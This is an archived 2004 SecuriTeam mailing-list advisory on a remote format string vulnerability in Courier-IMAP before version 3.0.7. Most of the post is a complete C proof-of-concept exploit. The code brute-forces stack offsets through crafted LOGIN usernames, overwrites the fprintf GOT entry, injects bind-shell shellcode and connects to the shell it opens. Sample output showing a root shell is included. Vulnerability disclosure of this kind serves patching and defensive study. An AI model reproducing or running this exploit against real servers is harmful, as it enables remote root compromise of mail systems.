Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] Courier-IMAP Remote Format String Vulnerability Exploit |
|---|---|
| Date: | 2 Sep 2004 12:54:22 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Courier-IMAP Remote Format String Vulnerability Exploit ------------------------------------------------------------------------ SUMMARY In a previously featured article titled <http://www.securiteam.com/unixfocus/5VP0G2ADPC.html> Courier-IMAP Remote Format String Vulnerability, a bug that opens up a vessel for executing arbitrary code was documented and described. Provided below is a proof of concept exploit code that will in fact exploit the vulnerability and spawn a shell on the server. DETAILS Vulnerable Systems: * Courier IMAP up to version 3.0.7, NOT inclusive Immune Systems: * Courier IMAP version 3.0.7 Exploit: /* courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit Author: ktha at hush dot com Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2 Special thanks goes to andrewg for providing the FreeBSD box. Greetings: all the guys from irc.pulltheplug.com and irc.netric.org bash-2.05b$ ./sm00ny-courier_imap_fsx courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com [*] Launching attack against 127.0.0.1:143 [+] Got current ebp(5100): 0xbfbfb050 [+] Got possible saved ebp(3281): 0xbfbfe390 [+] Got possible write on the stack pointer(3293): 0xbfbfe3c0 [+] Verifying...failed [+] Got possible saved ebp(3286): 0xbfbfe3a4 [+] Got possible write on the stack pointer(3298): 0xbfbfe3d4 [+] Verifying...failed [+] Got possible saved ebp(3287): 0xbfbfe3a8 [+] Got possible write on the stack pointer(3299): 0xbfbfe3d8 [+] Verifying...OK [+] Building fmt...done [+] Building shellcode...done [*] Using ret: 0x8057000 [*] Using got of fprintf(): 0x804fefc [*] Checking for shell.. uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) N.B. 1. ret can be guessed ;) 2. got, well.. that's a different story, it must be bruteforced 3. "ce_number" & "se_number" can be set with some default values when running multiple times 4. shell is usable for aprox 1 min [ Need a challenge ? ] [ Visit http://www.pulltheplug.com ] */ #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define BIGBUF 2048 #define IMAP_PORT 143 #define END_BRUTEFORCE_STACK 5500 #define TOP_STACK 0xbfc00000 /* FreeBSD */ #define START_BRUTEFORCE_SAVED_EBP 3000 #define JUNK 9 #define GAP_EBP_ESP 48 #define DUMMY_NUMBER 100 void die(int type, char *message) { if(type == 2) perror(message); else fprintf(stderr,"%s\n",message); exit(1); } int connect_to (char *host, int port){ struct hostent *h; struct sockaddr_in c; int sock; if ((host == NULL) || (*host == (char) 0)) die(1, "[-] Invalid hostname"); if ((c.sin_addr.s_addr = inet_addr (host)) == -1){ if ((h = gethostbyname (host)) == NULL) die(1, "[-] Cannot resolve host"); memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr)); } if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) die(2,"[-] Error creating socket:"); c.sin_family = PF_INET; c.sin_port = htons (port); if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1) die(2, "[-] Cannot connect: "); return sock; } void close_socket (int sock){ shutdown (sock, 2); close (sock); } char *get_request(char *username, char *password){ char *request = (char *)malloc(strlen(username)+strlen(password)+20); sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password); return request; } void send_data(int sock, char *request){ int n; n = send (sock, request, strlen (request), 0); if (n != strlen (request)){ close_socket (sock); die(1, "Error sending request\n"); } } int get_ce_number(char *host, int port){ int sock; int loop; char temp[BIGBUF]; int l,n; char username[BIGBUF]; char password[BIGBUF]; char *request; for (loop = END_BRUTEFORCE_STACK;;loop--){ sock = connect_to(host, port); n = recv (sock, temp, sizeof (temp), 0); sprintf(password,"sm00ny"); sprintf(username,"%%%d$p",loop); request = get_request(username,password); send_data(sock,request); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); close_socket (sock); if (n > 0) break; } return loop; } int get_se_number(int start, int end, char *host, int port){ int loop; char username[BIGBUF]; char password[BIGBUF]; char *request; int l,n; char temp[BIGBUF]; int sock; if (!start) start = START_BRUTEFORCE_SAVED_EBP; for (loop = start; loop < end; loop++){ sock = connect_to(host, port); n = recv (sock, temp, sizeof (temp), 0); sprintf(password,"sm00ny"); sprintf(username,"%%%d$n",loop); request = get_request(username,password); send_data(sock,request); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); close_socket (sock); if (n > 0) break; } if (loop == end) return -1; return loop; } int verify_se_number(int write, unsigned long addy, int number, char *host, int port){ char username[BIGBUF]; char password[BIGBUF]; char temp[BIGBUF]; char *request; int n, sock; sock = connect_to(host, port); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); sprintf(password,"sm00ny"); sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write); request = get_request(username,password); send_data(sock,request); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); close_socket (sock); if (n <= 0) return 0; sock = connect_to(host, port); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); sprintf(password,"sm00ny"); sprintf(username,"%%%u$n%%%u$hn", number, write); request = get_request(username,password); send_data(sock,request); memset(temp,0,sizeof(temp)); n = recv (sock, temp, sizeof (temp), 0); close_socket (sock); if (n > 0) return 0; return 1; } int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){ int i,j,sum,byte; int *vec = (int *)malloc(11 * sizeof(int)); sum = JUNK; for (i=0; i<2; i++){ for (j=0; j<2; j++){ vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum; while (vec[2*(2 * i + j)] <= 12) vec[2*(2 * i + j)] += 0x10000; sum += vec[2*(2 * i + j)]; byte = ((got + 2 * i) >> (16*j)) & 0xffff; vec[2*(2 * i + j) + 1] = byte - sum; while (vec[2*(2 * i + j) + 1] <= 12) vec[2*(2 * i + j) + 1] += 0x10000; sum += vec[2*(2 * i + j) + 1]; got_addy += 2; } } for (i=0; i<2; i++){ byte = (ret >> (16*i)) & 0xffff; vec[8+i] = byte - sum; while (vec[8+i] <= 12) vec[8+i] += 0x10000; sum += vec[8+i]; } return vec; } char *get_format_string(int *vec, int se_number, int write_number, int got_number){ char *buf = (char *) malloc(BIGBUF); char smallbuf[256]; int i; for (i=0; i<4; i++){ sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number); strcat(buf,smallbuf); } for (i=0; i<2; i++){ sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i); strcat(buf,smallbuf); } return buf; } char *gen_shellcode (int gap){ int size; char *p; char shellcode[] = /* Thanks ilja */ "\x31\xc0\x31\xc9\x31\xd2\xb0\x61" "\x51\xb1\x06\x51\xb1\x01\x51\xb1" "\x02\x51\x8d\x0c\x24\x51\xcd\x80" "\xb1\x02\x31\xc9\x51\x51\x51\x80" "\xc1\x77\x66\x51\xb5\x02\x66\x51" "\x8d\x0c\x24\xb2\x10\x52\x51\x50" "\x8d\x0c\x24\x51\x89\xc2\x31\xc0" "\xb0\x68\xcd\x80\xb3\x01\x53\x52" "\x8d\x0c\x24\x51\x31\xc0\xb0\x6a" "\xcd\x80\x31\xc0\x50\x50\x52\x8d" "\x0c\x24\x51\x31\xc9\xb0\x1e\xcd" "\x80\x89\xc3\x53\x51\x31\xc0\xb0" "\x5a\xcd\x80\x41\x53\x51\x31\xc0" "\xb0\x5a\xcd\x80\x41\x53\x51\x31" "\xc0\xb0\x5a\xcd\x80\x31\xdb\x53" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x31\xc0\x50\x54" "\x53\x50\xb0\x3b\xcd\x80\x31\xc0" "\xb0\x01\xcd\x80"; size = strlen (shellcode); p = (char *) malloc (gap + 1); /* Some nops ;) */ memset (p, 0x41, gap); memcpy (p + gap - size, shellcode, size + 1); return p; } void root(char *host) { fd_set rfds; int n; int sock; char buff[1024]; sock = connect_to(host,30464); send(sock,"id;\n",4,0); while(1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(sock, &rfds); if(select(sock+1, &rfds, NULL, NULL, NULL) < 1) exit(0); if(FD_ISSET(0,&rfds)) { if( (n = read(0,buff,sizeof(buff))) < 1) exit(0); if( send(sock,buff,n,0) != n) exit(0); } if(FD_ISSET(sock,&rfds)) { if( (n = recv(sock,buff,sizeof(buff),0)) < 1) exit(0); write(1,buff,n); } } } main (int argc, char **argv) { char *host="127.0.0.1"; int port = IMAP_PORT; int sock; char *temp1, *temp2; char *request; int *vec; int n,ok,i; unsigned long cur_ebp; // was 5100 on my box int ce_number = 0; unsigned long saved_ebp; // was 3287 on my box int se_number = 0; unsigned long write_addy; int write_number = 0; unsigned long got_addy; int got_number = 0; /* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */ unsigned long got = 0x0804fefc; /* heh.. it's up to you to find this one :P Just use your favourite mathod */ unsigned long ret = 0x8057000; if (argc > 1) host = argv[1]; printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n"); printf("[*] Launching attack against %s:%d\n",host,port); if (ce_number == 0) ce_number = get_ce_number(host,port); cur_ebp = TOP_STACK - 4 * ce_number; got_number = DUMMY_NUMBER; got_addy = cur_ebp + 4 * (got_number - 1); printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp); do{ se_number = get_se_number(se_number,ce_number,host,port); if (se_number == -1) die(1,"[-] Failed to get a saved_ebp !"); saved_ebp = cur_ebp + 4 * (se_number - 1); printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp); write_addy = GAP_EBP_ESP + saved_ebp; write_number = (write_addy - cur_ebp) / 4 + 1; printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy); printf("[+] Verifying..."); ok = verify_se_number(write_number,got_addy,se_number,host,port); if (ok) printf("OK\n"); else { printf("failed\n"); se_number++; } }while (!ok); printf("[+] Building fmt..."); vec = get_format_vector(got_addy,got,ret); temp1 = get_format_string(vec,se_number,write_number,got_number); printf("done\n"); printf("[+] Building shellcode..."); temp2 = gen_shellcode(800); printf("done\n"); printf("[*] Using ret: %p\n",ret); printf("[*] Using got of fprintf(): %p\n",got); request = get_request(temp1,temp2); sock = connect_to(host, port); send_data(sock,request); sleep(2); close_socket (sock); printf("[*] Checking for shell..\n"); root(host); } ADDITIONAL INFORMATION The information has been provided by <mailto:ktha@hush.com> Andrei Catalin. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] NetworkEverywhere Router Model NR041 Script Injection via DHCP, SecuriTeam |
|---|---|
| Next by Date: | [NT] Chat Anywhere DoS, SecuriTeam |
| Previous by Thread: | [NEWS] NetworkEverywhere Router Model NR041 Script Injection via DHCP, SecuriTeam |
| Next by Thread: | [NT] Chat Anywhere DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |